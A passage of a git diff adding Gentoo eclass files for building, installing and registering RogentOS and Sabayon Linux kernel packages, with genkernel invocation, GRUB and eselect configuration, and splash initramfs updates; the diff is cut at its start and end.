] || _is_kernel_lts; then + PROVIDE+=" virtual/linux-binary-lts" + fi +fi + +if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then + HOMEPAGE="https://github.com/Rogentos/kernel" +else + HOMEPAGE="http://www.rogentos.ro" +fi + +# Returns success if _set_config_file_vars was called. +_is_config_file_set() { + [[ ${_config_file_set} = 1 ]] +} + +# Returns the arm kernel config file extension for the current subarch +_get_arm_subarch() { + local target="${CTARGET:-${CHOST}}" + local arm_arch=${target%%-*} + if [[ ${arm_arch} == armv7? ]]; then + echo "armv7" + elif [[ ${arm_arch} == armv6? ]]; then + echo "armv6" + elif [[ ${arm_arch} == armv5? ]]; then + echo "armv5" + fi +} + +_get_arch() { + if use arm; then + _get_arm_subarch + elif use amd64; then + echo "amd64" + elif use x86; then + echo "x86" + fi +} + +_set_config_file_vars() { + # Setup kernel configuration file name + local pvr="${PVR}" + local pv="${PV}" + if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then + pvr="$(get_version_component_range 1-2)" + pv="${pvr}" + if [ "${PR}" != "r0" ]; then + pvr+="-${PR}" + fi + fi + + K_ROGKERNEL_CONFIG_FILES=() + K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-${pvr}-$(_get_arch).config" ) + K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-${pv}-$(_get_arch).config" ) + K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-$(_get_arch).config" ) + + _config_file_set=1 +} + +if [ -n "${K_ONLY_SOURCES}" ] || [ -n "${K_FIRMWARE_PACKAGE}" ]; then + IUSE="${IUSE}" + DEPEND="sys-apps/sed" + RDEPEND="${RDEPEND}" +else + IUSE="dmraid dracut iscsi luks lvm mdadm plymouth splash" + if [ -n "${K_ROGKERNEL_ZFS}" ]; then + IUSE="${IUSE} zfs" + fi + DEPEND="app-arch/xz-utils + sys-apps/sed + sys-devel/autoconf + sys-devel/make + || ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-3.4.45-r2 ) + arm? ( dev-embedded/u-boot-tools ) + amd64? ( sys-apps/v86d ) + x86? ( sys-apps/v86d ) + splash? ( x11-themes/rogentos-artwork-core ) + lvm? ( sys-fs/lvm2 sys-block/thin-provisioning-tools ) + plymouth? ( + || ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-5 ) + sys-boot/plymouth + ) + dracut? ( sys-apps/v86d sys-kernel/dracut )" + RDEPEND="sys-apps/sed + sys-kernel/linux-firmware" + if [ -n "${K_REQUIRED_LINUX_FIRMWARE_VER}" ]; then + RDEPEND+=" >=sys-kernel/linux-firmware-${K_REQUIRED_LINUX_FIRMWARE_VER}" + fi +fi + +# internal function +# +# FUNCTION: _update_depmod +# @USAGE: _update_depmod <-r depmod> +# DESCRIPTION: +# It updates the modules.dep file for the current kernel. +# This is more or less the same of linux-mod update_depmod, with the +# exception of accepting parameter which is passed to depmod -r switch +_update_depmod() { + + # if we haven't determined the version yet, we need too. + get_version; + + ebegin "Updating module dependencies for ${KV_FULL}" + if [ -r "${KV_OUT_DIR}"/System.map ]; then + depmod -ae -F "${KV_OUT_DIR}"/System.map -b "${ROOT}" -r "${1}" + eend $? + else + ewarn + ewarn "${KV_OUT_DIR}/System.map not found." + ewarn "You must manually update the kernel module dependencies using depmod." + eend 1 + ewarn + fi +} + +rogentos-kernel_pkg_setup() { + if [ -n "${K_FIRMWARE_PACKAGE}" ]; then + einfo "Preparing kernel firmwares" + else + einfo "Preparing kernel and its modules" + fi +} + +rogentos-kernel_src_unpack() { + local okv="${OKV}" + if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ] && [ "${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL}" != "1" ]; then + OKV="${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}" + fi + if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then + # workaround for kernel-2's universal_unpack assumptions + UNIPATCH_LIST_DEFAULT= KV_MAJOR=0 kernel-2_src_unpack + else + kernel-2_src_unpack + fi + if [ -n "${K_ROGKERNEL_FORCE_SUBLEVEL}" ]; then + # patch out Makefile with proper sublevel + sed -i "s:^SUBLEVEL = .*:SUBLEVEL = ${K_ROGKERNEL_FORCE_SUBLEVEL}:" \ + "${S}/Makefile" || die + fi + if [ -n "${K_ROGKERNEL_RESET_EXTRAVERSION}" ]; then + sed -i "s:^EXTRAVERSION =.*:EXTRAVERSION = :" "${S}/Makefile" || die + # some sources could have multiple append-based EXTRAVERSIONs + sed -i "s/^EXTRAVERSION :=.*//" "${S}/Makefile" || die + fi + OKV="${okv}" + + # Let's handle EAPIs 0 and 1... + case ${EAPI:-0} in + 0|1) rogentos-kernel_src_prepare ;; + esac +} + +rogentos-kernel_src_prepare() { + _set_config_file_vars +} + +rogentos-kernel_src_compile() { + if [ -n "${K_FIRMWARE_PACKAGE}" ]; then + _firmwares_src_compile + elif [ -n "${K_ONLY_SOURCES}" ]; then + kernel-2_src_compile + else + _kernel_src_compile + fi +} + +_firmwares_src_compile() { + einfo "Starting to compile firmwares..." + _kernel_copy_config "${S}/.config" + cd "${S}" || die "cannot find source dir" + + export LDFLAGS="" + OLDARCH="${ARCH}" + unset ARCH + emake firmware || die "cannot compile firmwares" + ARCH="${OLDARCH}" +} + +_kernel_copy_config() { + _is_config_file_set \ + || die "Kernel configuration file not set. Was rogentos-kernel_src_prepare() called?" + + local base_path="${DISTDIR}" + if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then + base_path="${S}/rogentos/config" + fi + + local found= cfg= + for cfg in "${K_ROGKERNEL_CONFIG_FILES[@]}"; do + cfg="${base_path}/${cfg}" + if [ -f "${cfg}" ]; then + cp "${cfg}" "${1}" || die "cannot copy kernel config ${cfg} -> ${1}" + elog "Using kernel config: ${cfg}" + found=1 + break + fi + done + [[ -z "${found}" ]] && die "cannot find kernel configs among: ${K_ROGKERNEL_CONFIG_FILES[*]}" +} + +_kernel_src_compile() { + # disable sandbox + export SANDBOX_ON=0 + + # needed anyway, even if grub use flag is not used here + if use amd64 || use x86; then + mkdir -p "${WORKDIR}"/boot/grub + else + mkdir -p "${WORKDIR}"/boot + fi + + einfo "Starting to compile kernel..." + _kernel_copy_config "${WORKDIR}"/config + + # do some cleanup + rm -rf "${WORKDIR}"/lib + rm -rf "${WORKDIR}"/cache + rm -rf "${S}"/temp + + # creating workdirs + # some kernels fail with make 3.82 if firmware dir is not created + mkdir "${WORKDIR}"/lib/lib/firmware -p + mkdir "${WORKDIR}"/cache + mkdir "${S}"/temp + + cd "${S}" || die + local GKARGS=() + GKARGS+=( "--no-save-config" "--e2fsprogs" "--udev" ) + use splash && GKARGS+=( "--splash=rogentos" ) + use plymouth && GKARGS+=( "--plymouth" "--plymouth-theme=${PLYMOUTH_THEME}" ) + use dmraid && GKARGS+=( "--dmraid" ) + use iscsi && GKARGS+=( "--iscsi" ) + use mdadm && GKARGS+=( "--mdadm" ) + use luks && GKARGS+=( "--luks" ) + use lvm && GKARGS+=( "--lvm" ) + if [ -n "${K_ROGKERNEL_ZFS}" ]; then + use zfs && GKARGS+=( "--zfs" ) + fi + + export DEFAULT_KERNEL_SOURCE="${S}" + export CMD_KERNEL_DIR="${S}" + for opt in ${MAKEOPTS}; do + if [ "${opt:0:2}" = "-j" ]; then + mkopts="${opt}" + break + fi + done + [ -z "${mkopts}" ] && mkopts="-j3" + + if [ -n "${K_KERNEL_IMAGE_NAME}" ]; then + GKARGS+=( "--kernel-target=${K_KERNEL_IMAGE_NAME}" ) + elif use arm; then + # backward compat + provide sane defaults. + GKARGS+=( "--kernel-target=uImage" ) + fi + if [ -n "${K_KERNEL_IMAGE_PATH}" ]; then + GKARGS+=( "--kernel-binary=${K_KERNEL_IMAGE_PATH}" ) + elif use arm; then + # backward compat + provide sane defaults. + GKARGS+=( "--kernel-binary=arch/arm/boot/uImage" ) + fi + + # Workaround bug in splash_geninitramfs corrupting the initramfs + # if xz compression is used (newer genkernel >3.4.24) + local support_comp=$(genkernel --help | grep compress-initramfs-type) + if [ -n "${support_comp}" ]; then + GKARGS+=( "--compress-initramfs-type=gzip" ) + fi + + # Use --disklabel if genkernel supports it + local support_disklabel=$(genkernel --help | grep -- --disklabel) + if [ -n "${support_disklabel}" ]; then + GKARGS+=( "--disklabel" ) + fi + + if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then + export LOADADDR="${K_MKIMAGE_KERNEL_ADDRESS}" + fi + OLDARCH="${ARCH}" + unset ARCH + unset LDFLAGS + DEFAULT_KERNEL_SOURCE="${S}" CMD_KERNEL_DIR="${S}" genkernel "${GKARGS[@]}" ${K_GENKERNEL_ARGS} \ + --kerneldir="${S}" \ + --kernel-config="${WORKDIR}"/config \ + --cachedir="${WORKDIR}"/cache \ + --makeopts="${mkopts}" \ + --tempdir="${S}"/temp \ + --logfile="${WORKDIR}"/genkernel.log \ + --bootdir="${WORKDIR}"/boot \ + --mountboot \ + --module-prefix="${WORKDIR}"/lib \ + all || die "genkernel failed" + + if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then + unset LOADADDR + fi + + ARCH=${OLDARCH} +} + +_setup_mkimage_ramdisk() { + local initramfs=$(ls "${WORKDIR}"/boot/${KERN_INITRAMFS_SEARCH_NAME}* 2> /dev/null) + if [ ! -e "${initramfs}" ] || [ ! -f "${initramfs}" ]; then + ewarn "No initramfs at ${initramfs}, cannot run mkimage on it!" + elif [ "${K_MKIMAGE_WRAP_INITRAMFS}" = "1" ]; then + einfo "Setting up u-boot initramfs for: ${initramfs}" + mkimage -A arm -O linux -T ramdisk -C none -a \ + "${K_MKIMAGE_RAMDISK_ADDRESS}" \ + -e "${K_MKIMAGE_RAMDISK_ENTRYPOINT}" -d "${initramfs}" \ + "${initramfs}.u-boot" || return 1 + mv "${initramfs}.u-boot" "${initramfs}" || return 1 + else + einfo "mkimage won't be called for: ${initramfs}" + fi + return 0 +} + +rogentos-kernel_src_install() { + if [ -n "${K_FIRMWARE_PACKAGE}" ]; then + _firmwares_src_install + elif [ -n "${K_ONLY_SOURCES}" ]; then + _kernel_sources_src_install + else + _kernel_src_install + fi + # File collisions between slots, debug stuff + # not really needed for a kernel + rm -rf "${D}/usr/lib/debug" +} + +_firmwares_src_install() { + dodir /lib/firmware + keepdir /lib/firmware + cd "${S}" || die + emake INSTALL_FW_PATH="${D}/lib/firmware" firmware_install || die "cannot install firmwares" +} + +_kernel_sources_src_install() { + _kernel_copy_config ".config" + kernel-2_src_install + cd "${D}${KV_OUT_DIR}" || die + local oldarch="${ARCH}" + unset ARCH + if ! use sources_standalone; then + make modules_prepare || die "failed to run modules_prepare" + rm .config || die "cannot remove .config" + rm Makefile || die "cannot remove Makefile" + rm -f include/linux/version.h + rm -f include/generated/uapi/linux/version.h + fi + ARCH="${oldarch}" +} + +_kernel_src_install() { + if use arm; then + _setup_mkimage_ramdisk || die "cannot setup mkimage" + fi + + dodir "${KV_OUT_DIR}" + insinto "${KV_OUT_DIR}" + + _kernel_copy_config ".config" + doins ".config" || die "cannot copy kernel config" + doins Makefile || die "cannot copy Makefile" + doins Module.symvers || die "cannot copy Module.symvers" + doins System.map || die "cannot copy System.map" + + # NOTE: this is a workaround caused by linux-info.eclass not + # being ported to EAPI=2 yet + local version_h_dir="include/linux" + local version_h_dir2="include/generated/uapi/linux" + local version_h= + local version_h_src= + for ver_dir in "${version_h_dir}" "${version_h_dir2}"; do + version_h="${ROOT}${KV_OUT_DIR/\//}/${ver_dir}/version.h" + if [ -f "${version_h}" ]; then + einfo "Discarding previously installed version.h to avoid collisions" + addwrite "${version_h}" + rm -f "${version_h}" + fi + + # Include include/linux/version.h to make Portage happy + version_h_src="${S}/${ver_dir}/version.h" + if [ -f "${version_h_src}" ]; then + dodir "${KV_OUT_DIR}/${ver_dir}" + insinto "${KV_OUT_DIR}/${ver_dir}" + doins "${version_h_src}" || die "cannot copy version.h" + fi + done + + insinto "/boot" + doins "${WORKDIR}"/boot/* || die "cannot copy /boot over" + cp -Rp "${WORKDIR}"/lib/* "${D}/" || die "cannot copy /lib over" + + # Install dtbs if found + if use arm; then + local dtb_dir="/lib/dts/${KV_FULL}" + elog "Installing .dtbs (if any) into ${dtb_dir}" + insinto "${dtb_dir}" + local dtb= + for dtb in "${S}/arch/arm/boot/dts"/*.dtb; do + if [ -f "${dtb}" ]; then + elog "Installing dtb: ${dtb}" + doins "${dtb}" + fi + done + fi + + # This doesn't always work because KV_FULL (when K_NOSETEXTRAVERSION=1) doesn't + # reflect the real value used in Makefile + #dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/source" || die "cannot install source symlink" + #dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/build" || die "cannot install build symlink" + cd "${D}"/lib/modules/* || die "cannot enter /lib/modules directory, more than one element?" + # cleanup previous + rm -f build source || die + # create sane symlinks + ln -sf "../../..${KV_OUT_DIR}" source || die "cannot create source symlink" + ln -sf "../../..${KV_OUT_DIR}" build || die "cannot create build symlink" + cd "${S}" || die + + # drop ${D}/lib/firmware, virtual/linux-firmwares provides it + rm -rf "${D}/lib/firmware" + + if [ -n "${K_WORKAROUND_SOURCES_COLLISION}" ]; then + # Fixing up Makefile collision if already installed by + # openvz-sources + einfo "Workarounding source package collisions" + make_file="${KV_OUT_DIR/\//}/Makefile" + einfo "Makefile: ${make_file}" + if [ -f "${ROOT}/${make_file}" ]; then + elog "Removing ${D}/${make_file}" + rm -f "${D}/${make_file}" + fi + fi + + # Install kernel configuration information + # useful for Entropy kernel-switcher + # release level is enough for now + base_dir="/etc/kernels/${P}" + dodir "${base_dir}" + insinto "${base_dir}" + echo "${KV_FULL}" > "RELEASE_LEVEL" + doins "RELEASE_LEVEL" + einfo "Installing ${base_dir}/RELEASE_LEVEL file: ${KV_FULL}" + + use dracut && \ + _dracut_initramfs_create "${KV_FULL}" +} + +rogentos-kernel_pkg_preinst() { + if _is_kernel_binary; then + mount-boot_pkg_preinst + fi +} +rogentos-kernel_grub2_mkconfig() { + if [ -x "${ROOT}usr/sbin/grub2-mkconfig" ]; then + # Grub 2.00 + "${ROOT}usr/sbin/grub2-mkconfig" -o "${ROOT}boot/grub/grub.cfg" + elif [ -x "${ROOT}sbin/grub-mkconfig" ]; then + # Grub 1.99 + "${ROOT}sbin/grub-mkdevicemap" --device-map="${ROOT}boot/grub/device.map" + "${ROOT}sbin/grub-mkconfig" -o "${ROOT}boot/grub/grub.cfg" + else + echo + ewarn "Attention, Grub2 is not installed !!!" + ewarn "Grub2 bootloader configuration won't be updated" + echo + fi +} + +_get_real_extraversion() { + make_file="${ROOT}${KV_OUT_DIR}/Makefile" + local extraver=$(grep -r "^EXTRAVERSION =" "${make_file}" | cut -d "=" -f 2 | head -n 1) + local trimmed=${extraver%% } + echo ${trimmed## } +} + +_get_release_level() { + if [[ -n "${K_WORKAROUND_USE_REAL_EXTRAVERSION}" ]]; then + echo "${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}$(_get_real_extraversion)" + elif [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then + echo "${KV_FULL}" + elif [[ "${OKV/.*}" = "3" ]] && [[ "${KV_PATCH}" = "0" ]]; then + # Linux 3.x support, KV_FULL is set to: 3.0-rogentos + # need to add another final .0 to the version part + echo "${KV_FULL/-/.0-}" + else + echo "${KV_FULL}" + fi +} + +rogentos-kernel_uimage_config() { + # Two cases here: + # 1. /boot/uImage symlink is broken (pkg_postrm) + # 2. /boot/uImage symlink doesn't exist (pkg_postinst) + + if ! has_version app-admin/eselect-uimage; then + ewarn "app-admin/eselect-uimage not installed" + ewarn "If you are using this tool, please install it" + return 0 + fi + + local uimage_file=$(eselect uimage show --quiet 2> /dev/null) + if [ -z "${uimage_file}" ]; then + # pick the first listed, sorry! + local eselect_list=$(eselect uimage list --quiet 2> /dev/null) + if [ -n "${eselect_list}" ]; then + eselect uimage set 1 + else + echo + ewarn "No more kernels available, you won't be able to boot" + echo + fi + else + echo + elog "If you use eselect-bzimage, you are currently booting with kernel:" + elog "${uimage_file}" + elog + elog "Use 'eselect uimage' in order to switch between the available ones" + echo + fi +} + +rogentos-kernel_bzimage_config() { + # Two cases here: + # 1. /boot/bzImage symlink is broken (pkg_postrm) + # 2. /boot/bzImage symlink doesn't exist (pkg_postinst) + local kern_arch + use x86 && kern_arch="x86" + use amd64 && kern_arch="x86_64" + + if ! has_version app-admin/eselect-bzimage; then + ewarn "app-admin/eselect-bzimage not installed" + ewarn "If you are using this tool, please install it" + return 0 + fi + + local bzimage_file=$(eselect bzimage show --quiet 2> /dev/null) + if [ -z "${bzimage_file}" ]; then + # try to pic what's being installed + local eselect_list=$(eselect bzimage list --quiet 2> /dev/null) + if [ -n "${eselect_list}" ]; then + eselect bzimage set "kernel-genkernel-${kern_arch}-${KV_FULL}" + if [ "${?}" != "0" ]; then + # pick the first available, sorry! + echo + eselect bzimage set 1 + ewarn "Unable to select the right kernel, falling back" + ewarn "to the first available entry. You have been warned" + echo + fi + else + echo + ewarn "No more kernels available, you might not be able to boot" + echo + fi + else + echo + ewarn "You are currently booting with kernel:" + ewarn "${bzimage_file}" + ewarn + ewarn "Use 'eselect bzimage' in order to switch between the available ones" + echo + fi +} + +_dracut_initramfs_create() { + local kver="${1}" + + elog "Creating dracut initramfs for ${kver}" + addpredict /etc/ld.so.cache~ + dracut -q -N -f --kver="${kver}" "${D}/boot/initramfs-dracut-${kver}" +} + +rogentos-kernel_pkg_postinst() { + if _is_kernel_binary; then + fstab_file="${ROOT}etc/fstab" + einfo "Removing extents option for ext4 drives from ${fstab_file}" + # Remove "extents" from /etc/fstab + if [ -f "${fstab_file}" ]; then + sed -i '/ext4/ s/extents//g' "${fstab_file}" + fi + + # Update kernel initramfs to match user customizations + update_rogentos_kernel_initramfs_splash + + # Add kernel to grub.conf + if use amd64 || use x86; then + if use amd64; then + local kern_arch="x86_64" + else + local kern_arch="x86" + fi + # grub-legacy + if [ -x "${ROOT}usr/sbin/grub-handler" ]; then + "${ROOT}usr/sbin/grub-handler" add \ + "/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \ + "/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}" + fi + + rogentos-kernel_grub2_mkconfig + fi + + # Setup newly installed kernel on ARM + if use arm; then + rogentos-kernel_uimage_config + fi + # Setup newly installed kernel on x86/amd64 + # This is quite handy for static grub1/grub2 + # configurations (like on Amazon EC2) + if use x86 || use amd64; then + rogentos-kernel_bzimage_config + fi + + kernel-2_pkg_postinst + local depmod_r=$(_get_release_level) + _update_depmod "${depmod_r}" + + elog "Please report kernel bugs at:" + elog "http://bugs.rogentos.ro" + + elog "The source code of this kernel is located at" + elog "=${K_KERNEL_SOURCES_PKG}." + elog "RogentOS Team recommends that portage users install" + elog "${K_KERNEL_SOURCES_PKG} if you want" + elog "to build any packages that install kernel modules" + elog "(such as ati-drivers, nvidia-drivers, virtualbox, etc...)." + else + kernel-2_pkg_postinst + fi +} + +rogentos-kernel_pkg_prerm() { + if _is_kernel_binary; then + mount-boot_pkg_prerm + fi +} + +rogentos-kernel_pkg_postrm() { + if _is_kernel_binary; then + # Remove kernel from grub.conf + if use amd64 || use x86; then + if use amd64; then + local kern_arch="x86_64" + else + local kern_arch="x86" + fi + if [ -x "${ROOT}usr/sbin/grub-handler" ]; then + "${ROOT}usr/sbin/grub-handler" remove \ + "/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \ + "/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}" + fi + + rogentos-kernel_grub2_mkconfig + fi + + # Setup newly installed kernel on ARM + if use arm; then + rogentos-kernel_uimage_config + fi + # Setup newly installed kernel on x86/amd64 + # This is quite handy for static grub1/grub2 + # configurations (like on Amazon EC2) + if use x86 || use amd64; then + rogentos-kernel_bzimage_config + fi + fi +} + +# export all the available functions here +case ${EAPI:-0} in + 0|1) extra_export_funcs= ;; + *) extra_export_funcs=src_prepare ;; +esac + +EXPORT_FUNCTIONS pkg_setup src_unpack ${extra_export_funcs} \ + src_compile src_install pkg_preinst pkg_postinst pkg_prerm pkg_postrm diff --git a/eclass/sabayon-artwork.eclass b/eclass/sabayon-artwork.eclass new file mode 100644 index 00000000..59d11cca --- /dev/null +++ b/eclass/sabayon-artwork.eclass @@ -0,0 +1,55 @@ +# Copyright 2004-2009 Sabayon Project +# Distributed under the terms of the GNU General Public License v2 +# $ + +inherit eutils + +# @ECLASS-VARIABLE: KERN_INITRAMFS_SEARCH_NAME +# @DESCRIPTION: +# Argument used by `find` to search inside ${ROOT}boot Linux +# Kernel initramfs files to patch +KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*}" + +# @ECLASS-VARIABLE: GFX_SPLASH_NAME +# @DESCRIPTION: +# Default splash theme name to use +GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-sabayon}" + +# @FUNCTION: update_kernel_initramfs_splash +# @USAGE: update_kernel_initramfs_splash [splash_theme] [splash_file] +# @RETURN: 1, if something went wrong +# +# @MAINTAINER: +# Fabio Erculiani +update_kernel_initramfs_splash() { + + [[ -z "${2}" ]] && die "wrong update_kernel_splash arguments" + + if ! has_version "media-gfx/splashutils"; then + ewarn "media-gfx/splashutils not found, cannot update kernel splash" + return 1 + fi + splash_geninitramfs -a "${2}" ${1} + return ${?} + +} + +# @FUNCTION: update_sabayon_kernel_initramfs_splash +# @USAGE: update_sabayon_kernel_initramfs_splash +# +# @MAINTAINER: +# Fabio Erculiani +update_sabayon_kernel_initramfs_splash() { + local splash_name="${GFX_SPLASH_NAME}" + local override_splash_file="${ROOT}etc/oem/splash_name" + if [ -f "${override_splash_file}" ]; then + found_splash_name=$(cat "${override_splash_file}" | cut -d" " -f 1) + if [ -d "/etc/splash/${found_splash_name}" ]; then + splash_name="${found_splash_name}" + fi + fi + for bootfile in `find ${ROOT}boot -name "${KERN_INITRAMFS_SEARCH_NAME}"`; do + einfo "Updating boot splash for ${bootfile}" + update_kernel_initramfs_splash "${GFX_SPLASH_NAME}" "${bootfile}" + done +} diff --git a/eclass/sabayon-kernel.eclass b/eclass/sabayon-kernel.eclass new file mode 100644 index 00000000..4c6235d9 --- /dev/null +++ b/eclass/sabayon-kernel.eclass @@ -0,0 +1,967 @@ +# Copyright 2004-2010 Sabayon Project +# Distributed under the terms of the GNU General Public License v2 +# $ + +# @ECLASS-VARIABLE: K_SABKERNEL_NAME +# @DESCRIPTION: +# The kernel name used by the ebuild, it should be the ending ${PN} part +# for example, of linux-sabayon it is "${PN/${PN/-*}-}" (sabayon) +K_SABKERNEL_NAME="${K_SABKERNEL_NAME:-${PN/${PN/-*}-}}" + +# @ECLASS-VARIABLE: K_SABKERNEL_SELF_TARBALL_NAME +# @DESCRIPTION: +# If the main kernel sources tarball is generated in-house and available +# on the "sabayon" mirror, set this variable to the extension name (see example +# below). This will disable ALL the extra/local patches (since they have to +# be applied inside the tarball). Moreover, K_SABKERNEL_NAME, +# K_KERNEL_PATCH_VER will be ignored. +# Example: +# K_SABKERNEL_SELF_TARBALL_NAME="sabayon" +# This would generate: +# SRC_URI="mirror://sabayon/sys-kernel/linux-${PV}+sabayon.tar.${K_TARBALL_EXT}" +K_SABKERNEL_SELF_TARBALL_NAME="${K_SABKERNEL_SELF_TARBALL_NAME:-}" + +# @ECLASS-VARIABLE: K_SABKERNEL_PATCH_UPSTREAM_TARBALL +# @DESCRIPTION: +# If set to 1, the ebuild will fetch the upstream kernel tarball and +# apply the Sabayon patch against it. This strategy avoids the need of +# creating complete kernel source tarballs. The default value is 0. +K_SABKERNEL_PATCH_UPSTREAM_TARBALL="${K_SABKERNEL_PATCH_UPSTREAM_TARBALL:-0}" + +# @ECLASS-VARIABLE: K_SABKERNEL_FORCE_SUBLEVEL +# @DESCRIPTION: +# Force the rewrite of SUBLEVEL in kernel sources Makefile +K_SABKERNEL_FORCE_SUBLEVEL="${K_SABKERNEL_FORCE_SUBLEVEL:-}" + +# @ECLASS-VARIABLE: K_SABKERNEL_RESET_EXTRAVERSION +# @DESCRIPTION: +# Force the rewrite of EXTRAVERSION in kernel sources Makefile (setting it to "") +K_SABKERNEL_RESET_EXTRAVERSION="${K_SABKERNEL_RESET_EXTRAVERSION:-}" + +# @ECLASS-VARIABLE: K_SABKERNEL_LONGTERM +# @DESCRIPTION: +# Consider Kernel stable patchset as longterm (changing URL) +K_SABKERNEL_LONGTERM="${K_SABKERNEL_LONGTERM:-}" + +# @ECLASS-VARIABLE: K_KERNEL_SOURCES_PKG +# @DESCRIPTION: +# The kernel sources package used to build this kernel binary +K_KERNEL_SOURCES_PKG="${K_KERNEL_SOURCES_PKG:-${CATEGORY}/${PN/*-}-sources-${PVR}}" + +# @ECLASS-VARIABLE: K_KERNEL_PATCH_VER +# @DESCRIPTION: +# If set to "3" for example, it applies the upstream kernel +# patch corresponding to patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.3.${K_TARBALL_EXT} +# @TODO: deprecate and remove once 2.6.x kernels are retired +K_KERNEL_PATCH_VER="${K_KERNEL_PATCH_VER:-}" + +# @ECLASS-VARIABLE: K_KERNEL_PATCH_HOTFIXES +# @DESCRIPTION: +# If there is the need to quickly apply patches to the kernel +# without bumping the kernel patch tarball (for eg. in case +# of just released security fixes), set this variable in your ebuild +# pointing to space separated list of patch paths. +K_KERNEL_PATCH_HOTFIXES="${K_KERNEL_PATCH_HOTFIXES:-}" + +# @ECLASS-VARIABLE: K_KERNEL_DISABLE_PR_EXTRAVERSION +# @DESCRIPTION: +# Set this to "1" if you want to tell kernel-2 eclass to +# not use ${PR} in kernel EXTRAVERSION (K_NOUSEPR). Otherwise, set +# this to "0" to not set K_NOUSEPR at all. +K_KERNEL_DISABLE_PR_EXTRAVERSION="${K_KERNEL_DISABLE_PR_EXTRAVERSION:-1}" + +# @ECLASS-VARIABLE: K_KERNEL_SLOT_USEPVR +# @DESCRIPTION: +# Set this to "1" if you want to use ${PVR} in SLOT variable, instead of ${PV} +# sys-kernel/linux-vserver (vserver-sources) require this. This won't work for +# firmware pkgs. +K_KERNEL_SLOT_USEPVR="${K_KERNEL_SLOT_USEPVR:-0}" + +# @ECLASS-VARIABLE: K_KERNEL_NEW_VERSIONING +# @DESCRIPTION: +# Set this to "1" if your kernel ebuild uses the new Linux kernel upstream +# versioning and ${PV} contains the stable revision, like 3.7.1. +# In the example above, this makes the SLOT variable contain only "3.7". +# The sublevel version can be forced using K_SABKERNEL_FORCE_SUBLEVEL +K_KERNEL_NEW_VERSIONING="${K_KERNEL_NEW_VERSIONING:-0}" + +# @ECLASS-VARIABLE: K_KERNEL_IMAGE_NAME +# @DESCRIPTION: +# Set this to a custom kernel image make target if the default does not +# fit your needs. This value if set, is passed to genkernel through the +# --kernel-target= flag. +K_KERNEL_IMAGE_NAME="${K_KERNEL_IMAGE_NAME:-}" + +# @ECLASS-VARIABLE: K_KERNEL_LTS +# @DESCRIPTION: +# Set this to 1 to mark the kernel as Long Term Stable. "virtual/linux-binary-lts" +# shall be appended to ${PROVIDE}. +K_KERNEL_LTS="${K_KERNEL_LTS:-}" + +# @ECLASS-VARIABLE: K_KERNEL_IMAGE_PATH +# @DESCRIPTION: +# Set this to a custom relative kernel image path to override the default +# one. This value if set, is passed to genkernel through the +# --kernel-binary= flag. +K_KERNEL_IMAGE_PATH="${K_KERNEL_IMAGE_PATH:-}" + +# @ECLASS-VARIABLE: K_SABKERNEL_FIRMWARE +# @DESCRIPTION: +# Set this to "1" if your ebuild is a kernel firmware package +K_FIRMWARE_PACKAGE="${K_FIRMWARE_PACKAGE:-}" + +# @ECLASS-VARIABLE: K_ONLY_SOURCES +# @DESCRIPTION: +# For every kernel binary package, there is a kernel source package associated +# if your ebuild is one of them, set this to "1" +K_ONLY_SOURCES="${K_ONLY_SOURCES:-}" + +# @ECLASS-VARIABLE: K_REQUIRED_LINUX_FIRMWARE_VER +# @DESCRIPTION: +# Minimum required version of sys-kernel/linux-formware package, if any +K_REQUIRED_LINUX_FIRMWARE_VER="${K_REQUIRED_LINUX_FIRMWARE_VER:-}" + +# @ECLASS-VARIABLE: K_WORKAROUND_SOURCES_COLLISION +# @DESCRIPTION: +# For kernel binary packages, Workaround file collisions with kernel +# sources already providing certain files (like Makefile). Used +# by linux-openvz and linux-vserver +K_WORKAROUND_SOURCES_COLLISION="${K_WORKAROUND_SOURCES_COLLISION:-}" + +# @ECLASS-VARIABLE: K_WORKAROUND_USE_REAL_EXTRAVERSION +# @DESCRIPTION: +# Some kernel sources are shipped with their own EXTRAVERSION and +# we're kindly asked to not touch it, if this is your case, set +# this variable and depmod will work correctly. +K_WORKAROUND_USE_REAL_EXTRAVERSION="${K_WORKAROUND_USE_REAL_EXTRAVERSION:-}" + +# @ECLASS-VARIABLE: K_SABKERNEL_ZFS +# @DESCRIPTION: +# If set, this kernel features ZFS. +K_SABKERNEL_ZFS="${K_SABKERNEL_ZFS:-}" + +# @ECLASS-VARIABLE: K_GENKERNEL_ARGS +# @DESCRIPTION: +# Provide extra genkernel arguments using K_GENKERNEL_ARGS +K_GENKERNEL_ARGS="${K_GENKERNEL_ARGS:-}" + +# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ADDRESS +# @DESCRIPTION: +# [ARM ONLY] Provide the ramdisk load address to be used with mkimage +K_MKIMAGE_RAMDISK_ADDRESS="${K_MKIMAGE_RAMDISK_ADDRESS:-}" + +# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ENTRYPOINT +# @DESCRIPTION: +# [ARM ONLY] Provide the ramdisk entry point address to be used with mkimage 